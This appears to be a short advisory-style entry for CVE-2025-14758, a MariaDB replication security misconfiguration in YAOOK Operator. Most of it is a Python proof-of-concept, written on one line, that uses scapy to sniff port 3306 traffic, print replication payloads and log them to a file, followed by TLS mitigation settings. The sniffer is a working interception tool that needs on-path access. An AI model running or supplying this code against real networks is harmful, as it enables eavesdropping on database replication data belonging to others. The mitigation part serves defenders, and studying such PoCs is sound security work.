YAOOK Operator MariaDB复制安全配置错误漏洞 (CVE-2025-14758)

# CVE-2025-14758 PoC - MariaDB Replication Traffic Interception # This PoC demonstrates the concept of capturing unencrypted MariaDB replication traffic import scapy.all as scapy from scapy.layers.inet import IP, TCP from scapy.layers.inet import Raw def capture_mariadb_replication_traffic(packet): """ Capture MariaDB replication packets on port 3306 Note: This requires attacker to be on-path (network adjacency) """ if packet.haslayer(TCP) and packet.haslayer(Raw): src_port = packet[TCP].sport dst_port = packet[TCP].dport # MariaDB default port if src_port == 3306 or dst_port == 3306: payload = packet[Raw].load # Check for replication protocol signatures if b'binlog' in payload.lower() or b'@' in payload: print(f"[+] Potential replication traffic captured from {packet[IP].src} to {packet[IP].dst}") print(f"[+] Payload preview: {payload[:100]}") # Log for later analysis with open('captured_replication.log', 'ab') as f: f.write(payload) # Sniff for MariaDB traffic (requires root privileges) print("[*] Starting MariaDB replication traffic capture...") print("[*] Press Ctrl+C to stop") scapy.sniff(filter='tcp port 3306', prn=capture_mariadb_replication_traffic) # Mitigation: Enable SSL/TLS for MariaDB replication # Add to my.cnf: # [mysqld] # ssl-cert = /path/to/server-cert.pem # ssl-key = /path/to/server-key.pem # require_secure_transport = ON # master_ssl_verify_server_cert = 1